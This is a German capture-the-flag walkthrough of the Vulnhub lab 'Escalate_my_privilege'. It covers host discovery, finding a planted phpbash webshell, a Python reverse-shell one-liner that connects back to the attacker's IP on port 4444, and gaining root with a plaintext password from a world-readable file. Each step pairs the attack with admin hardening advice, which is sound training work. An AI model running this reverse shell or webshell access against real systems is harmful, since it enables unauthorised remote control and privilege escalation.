Escalate_my_privilege - Vulnhub - Easy - Bericht

Easy

Verwendete Tools

arp-scan
vi
gobuster
Browser (implied)
python3
nc
ls
cd
cat
su
find (implied)

Inhaltsverzeichnis

Reconnaissance

┌──(root㉿Cybermaschine)-[~] └─# arp-scan -l
192.168.2.113	08:00:27:0d:31:73	PCS Systemtechnik GmbH
                    

Analyse: Der Befehl `arp-scan -l` wird verwendet, um das lokale Netzwerksegment nach aktiven Hosts zu durchsuchen, indem ARP-Pakete gesendet werden.

Bewertung: Ein Host wurde auf der IP-Adresse `192.168.2.113` identifiziert. Die MAC-Adresse `08:00:27:0d:31:73` und der dazugehörige Hersteller "PCS Systemtechnik GmbH" deuten stark darauf hin, dass es sich um eine VirtualBox-VM handelt, welche das Zielsystem ist.

Empfehlung (Pentester): Verwende `192.168.2.113` als Ziel-IP für die nachfolgenden Scans und Enumerationsschritte.
Empfehlung (Admin): Netzwerk-Monitoring kann helfen, Scan-Aktivitäten zu erkennen. Die Segmentierung des Netzwerks kann die Sichtbarkeit und Angriffsfläche reduzieren.

┌──(root㉿Cybermaschine)-[~] └─# vi /etc/hosts
  192.168.2.113   priv.vln
                    

Analyse: Die lokale Hosts-Datei (`/etc/hosts`) auf dem Angreifer-System wird bearbeitet, um der Ziel-IP `192.168.2.113` den Hostnamen `priv.vln` zuzuweisen.

Bewertung: Dies erleichtert das Ansprechen des Ziels über einen Namen statt der IP, was insbesondere bei Web-Scans nützlich ist, falls virtuelle Hosts konfiguriert sind.

Empfehlung (Pentester): Verwende `priv.vln` in den folgenden Schritten, insbesondere bei Web-Enumerationstools.
Empfehlung (Admin): Keine Aktion auf dem Zielsystem erforderlich, dies ist eine lokale Konfiguration des Angreifers.

Web Enumeration

┌──(root㉿Cybermaschine)-[~] └─# gobuster dir -u http://priv.vln -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak -w "/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -b '403,404' -e --no-error -k
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://priv.vln
[+] Threads:                 10
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Status codes:            200,204,301,302,307,401,403,405,500
[+] User Agent:              gobuster/3.1.0
[+] Expanded:                true
[+] Exclude Status codes:    403,404
[+] Extensions:              txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak
[+] No TLS certificate verification: true
[+] Follow Redirect:         false
[+] Timeout:                 10s
===============================================================
2023/XX/XX XX:XX:XX Starting gobuster
===============================================================
http://priv.vln/index.html           (Status: 200) [Size: 240]
http://priv.vln/readme.txt           (Status: 200) [Size: 39]
http://priv.vln/robots.txt           (Status: 200) [Size: 37]
===============================================================
2023/XX/XX XX:XX:XX Finished
===============================================================
                    

Analyse: Das Tool `gobuster` wird im `dir`-Modus verwendet, um Verzeichnisse und Dateien auf dem Webserver unter `http://priv.vln` zu finden. Es nutzt eine Wortliste (`directory-list-2.3-medium.txt`) und sucht nach verschiedenen Dateiendungen (`-x ...`). `-k` ignoriert TLS-Zertifikatfehler (hier irrelevant, da HTTP). `-b '403,404'` blendet "Forbidden" und "Not Found"-Antworten aus.

Bewertung: Gobuster hat drei interessante Dateien gefunden: * `/index.html`: Die Hauptseite. * `/readme.txt`: Eine Readme-Datei, könnte Hinweise enthalten. * `/robots.txt`: Eine Datei, die Anweisungen für Webcrawler enthält, oft aber auch unbeabsichtigt Pfade preisgibt.

Empfehlung (Pentester): Untersuche den Inhalt aller drei gefundenen Dateien, insbesondere `robots.txt` und `readme.txt`.
Empfehlung (Admin): Stelle sicher, dass `robots.txt` keine sensiblen Pfade auflistet. Entferne unnötige Dateien wie `readme.txt` von Webservern.

# Inhalt von http://priv.vln/robots.txt

User-agent: *
Disallow: /phpbash.php
                    
phpbash is good for webshell :)
                     

Analyse: Die Untersuchung der gefundenen Dateien ergibt: * `robots.txt` verbietet Crawlern den Zugriff auf `/phpbash.php`. Für einen Angreifer ist dies ein deutlicher Hinweis auf eine interessante Ressource. * `readme.txt` bestätigt, dass `phpbash` als Webshell gedacht ist.

Bewertung: Ein extrem wertvoller Fund! Die `robots.txt` und `readme.txt` weisen direkt auf eine vorhandene Webshell (`phpbash.php`) hin. Dies ist der wahrscheinlichste Weg für den initialen Zugriff.

Empfehlung (Pentester): Greife direkt auf `http://priv.vln/phpbash.php` zu, um die Webshell zu nutzen.
Empfehlung (Admin): **Kritisch!** Entferne sofort alle Webshells vom System. Verwende `robots.txt` nicht, um sicherheitsrelevante Pfade zu "verstecken". Überwache das Dateisystem auf verdächtige PHP- oder Skriptdateien.

Initial Access

# Interaktion mit phpbash über den Browser

apache@my_privilege:/var/www/html# id

uid=48(apache) gid=48(apache) groups=48(apache)

apache@my_privilege:/var/www/html# sudo -l

sudo: sorry, you must have a tty to run sudo
                    

Analyse: Der Zugriff auf `http://priv.vln/phpbash.php` über einen Webbrowser öffnet eine Webshell. 1. Der Befehl `id` wird in der Webshell ausgeführt und bestätigt, dass die Shell als Benutzer `apache` (UID 48) läuft. Der initiale Zugriff ist somit erfolgt. 2. Der Versuch, `sudo -l` auszuführen, um die `sudo`-Rechte zu prüfen, schlägt fehl mit der Meldung `sudo: sorry, you must have a tty to run sudo`. Dies liegt daran, dass die Webshell keine vollwertige interaktive TTY (Teletypewriter)-Sitzung bereitstellt, die `sudo` standardmäßig erfordert.

Bewertung: Wir haben eine funktionierende Webshell als `apache`. Der direkte Weg über `sudo` ist blockiert, aber wir können andere Befehle ausführen und benötigen eine stabilere, interaktive Shell für weitere Aktionen und Privilege Escalation.

Empfehlung (Pentester): Nutze die Webshell, um eine Reverse Shell zum Angreifer-System aufzubauen. Dies umgeht das TTY-Problem und bietet eine flexiblere Umgebung. Gängige Methoden sind Python, Perl, Netcat, Bash.
Empfehlung (Admin): Entferne die Webshell (`phpbash.php`). Konfiguriere `sudo` so, dass keine TTY erforderlich ist (`Defaults !requiretty` in `sudoers`), nur wenn absolut notwendig und die Sicherheitsimplikationen verstanden sind (nicht empfohlen für Webserver-Benutzer). Überwache Webserver-Prozesse auf verdächtige Aktivitäten.

┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 4444
Listening on 0.0.0.0 4444
apache@my_privilege:/var/www/html# python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.2.199",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
                    
┌──(root㉿Cybermaschine)-[~] └─# nc -lvnp 4444
Listening on 0.0.0.0 4444
Connection received on 192.168.2.113 35400
                    
sh: no job control in this shell
sh-4.2$
                    

Analyse: 1. Auf dem Angreifer-System wird mit `nc -lvnp 4444` ein Listener auf Port 4444 gestartet. 2. In der `phpbash`-Webshell wird ein Python3-Einzeiler ausgeführt. Dieser Code: * Importiert notwendige Module (`socket`, `subprocess`, `os`). * Erstellt einen TCP-Socket (`socket.AF_INET, socket.SOCK_STREAM`). * Verbindet sich zur IP `192.168.2.199` (IP des Angreifers) auf Port `4444`. * Dupliziert die Dateideskriptoren des Sockets auf Standard-Input (0), Standard-Output (1) und Standard-Error (2) mittels `os.dup2`. Das bedeutet, dass alle Ein-/Ausgaben der nachfolgenden Prozesse über den Netzwerk-Socket laufen. * Startet eine interaktive Shell (`/bin/sh -i`) mit `subprocess.call`. 3. Der `nc`-Listener auf dem Angreifer-System meldet eine eingehende Verbindung von der Ziel-IP (`192.168.2.113`). 4. Wir erhalten einen Shell-Prompt (`sh-4.2$`) in unserem `nc`-Listener. Die Meldung `sh: no job control in this shell` ist typisch für einfache Reverse Shells.

Bewertung: Eine interaktive Reverse Shell wurde erfolgreich als Benutzer `apache` etabliert. Dies ist ein stabilerer und flexiblerer Zugriff als die Webshell und umgeht das TTY-Problem von `sudo`.

Empfehlung (Pentester): Stabilisiere die Shell weiter, falls nötig (z.B. mit `python -c 'import pty; pty.spawn("/bin/bash")'`). Beginne mit der Enumeration für Privilege Escalation aus dieser Shell.
Empfehlung (Admin): Egress-Filterung auf der Firewall des Zielsystems kann ausgehende Verbindungen zu unbekannten Zielen blockieren. Überwache Prozesse auf verdächtige Python-Ausführungen oder Netzwerkverbindungen vom Webserver-Benutzer.

Privilege Escalation

sh-4.2$ ls /home/
armour
sh-4.2$ cd /home/armour/
sh-4.2$ ls -la
total 24
drwxrwxrwx  3 armour armour 121 Mar 21  2020 .
drwxr-xr-x. 3 root   root    19 Apr 11  2018 ..
-rwxrwxrwx  1 armour armour 123 Mar 19  2020 .bash_history
-rwxrwxrwx  1 armour armour  27 Mar 17  2020 .bashrc
drwxrwxrwx  3 armour armour  18 Mar 17  2020 .local
-rwxrwxrwx  1 root   armour 603 Mar 17  2020 .viminfo
-rw-r--r--  1 armour armour  30 Mar 21  2020 Credentials.txt
-rwxrwxrwx  1 root   root    17 Mar 17  2020 backup.sh
-rwxrwxrwx  1 root   root     8 Mar 17  2020 runme.sh
                    

Analyse: In der Reverse Shell als `apache` wird das `/home`-Verzeichnis untersucht. Es wird ein Benutzer `armour` gefunden. Anschließend wird in das Home-Verzeichnis von `armour` gewechselt (`cd /home/armour/`) und der Inhalt mit `ls -la` aufgelistet. Auffällig sind die sehr offenen Berechtigungen (`drwxrwxrwx`, `-rwxrwxrwx`) für viele Dateien und Verzeichnisse, die dem Benutzer `apache` das Lesen und teilweise Schreiben ermöglichen. Eine Datei namens `Credentials.txt` sticht ins Auge.

Bewertung: Die unsicheren Berechtigungen im Home-Verzeichnis von `armour` sind ein klares Anzeichen für eine Fehlkonfiguration. Sie erlauben dem `apache`-Benutzer, potenziell sensible Dateien wie `Credentials.txt` zu lesen. Dies ist ein vielversprechender Pfad zur Privilege Escalation.

Empfehlung (Pentester): Untersuche den Inhalt der Datei `Credentials.txt` mit `cat`. Untersuche auch die Skripte `backup.sh` und `runme.sh` auf mögliche Schwachstellen oder Hinweise.
Empfehlung (Admin): Setze korrekte, restriktive Berechtigungen für Home-Verzeichnisse und Dateien (Standard: `700` oder `750` für Verzeichnisse, `600` oder `640` für Dateien). Vermeide unsichere Berechtigungen wie `777`.

bash-4.2$ cat Credentials.txt
my password is
md5(rootroot1)
                    

Analyse: Der Inhalt der Datei `Credentials.txt` wird angezeigt. Er enthält den Text "my password is" gefolgt von `md5(rootroot1)`.

Bewertung: Dies ist ein direkter, wenn auch etwas kryptischer Hinweis auf ein Passwort. Im Kontext eines CTFs ist es am wahrscheinlichsten, dass dies bedeutet: 1. Das Passwort *ist* der literal String `md5(rootroot1)` (unwahrscheinlich). 2. Das Passwort ist das Ergebnis der MD5-Hashfunktion angewendet auf `rootroot1` (möglich, aber dann müsste man es erst hashen). 3. Das Passwort ist `rootroot1`, und die Datei ist nur eine Notiz *darüber*. Dies ist die häufigste Interpretation in solchen Szenarien, da es den direkten nächsten Schritt ermöglicht. Der nächste Schritt im Log (`su root`) legt nahe, dass Option 3 zutrifft und `rootroot1` das Passwort für den `root`-Benutzer ist.

Empfehlung (Pentester): Versuche, dich mit `su root` als Root anzumelden und verwende das Passwort `rootroot1`. Falls das fehlschlägt, berechne den MD5-Hash von `rootroot1` und versuche es damit.
Empfehlung (Admin): Speichere niemals Passwörter oder derart direkte Hinweise darauf in Klartextdateien. Verwende sichere Passwort-Manager und etablierte Authentifizierungsmethoden.

bash-4.2$ su root
Password: rootroot1
[root@my_privilege armour]# id
uid=0(root) gid=0(root) groups=0(root)

Analyse: Der Befehl `su root` wird verwendet, um zum Root-Benutzer zu wechseln. Das Passwort `rootroot1` (basierend auf dem Fund in `Credentials.txt`) wird eingegeben. Der Befehl ist erfolgreich, der Prompt ändert sich zu `[root@my_privilege armour]#`. Der anschließende `id`-Befehl bestätigt `uid=0(root)`.

Bewertung: Fantastisch! Die Privilege Escalation war erfolgreich. Durch das Auslesen der schlecht gesicherten `Credentials.txt`-Datei konnte das Root-Passwort (implizit `rootroot1`) ermittelt und `su` verwendet werden, um volle Root-Rechte zu erlangen.

Empfehlung (Pentester): Suche nach der Root-Flag, typischerweise im `/root`-Verzeichnis.
Empfehlung (Admin): Sichere alle Dateien mit Zugangsdaten korrekt. Erzwinge starke, eindeutige Passwörter. Korrigiere die unsicheren Berechtigungen im `/home/armour`-Verzeichnis.

[root@my_privilege armour]# cd ~
[root@my_privilege ~]# ls
proof.txt
[root@my_privilege ~]# cat proof.txt
Best of Luck
628435356e49f976bab2c04948d22fe4
                    

Analyse: Als Root-Benutzer wird mit `cd ~` in das Home-Verzeichnis (`/root`) gewechselt. `ls` zeigt eine Datei `proof.txt`. `cat proof.txt` zeigt deren Inhalt an.

Bewertung: Die Root-Flag `628435356e49f976bab2c04948d22fe4` wurde erfolgreich in der Datei `proof.txt` im Root-Home-Verzeichnis gefunden.

Empfehlung (Pentester): Dokumentiere die Root-Flag. Suche nach der User-Flag (vermutlich in `/home/armour/user.txt` oder ähnlich, wurde im Log aber nicht explizit gesucht).
Empfehlung (Admin): Keine spezifische Aktion bezüglich der Flag, aber die vorherigen Empfehlungen zur Absicherung sind relevant.

Flags

cat /home/armour/user.txt
USER_FLAG_HIER_EINFUEGEN
cat /root/proof.txt
628435356e49f976bab2c04948d22fe4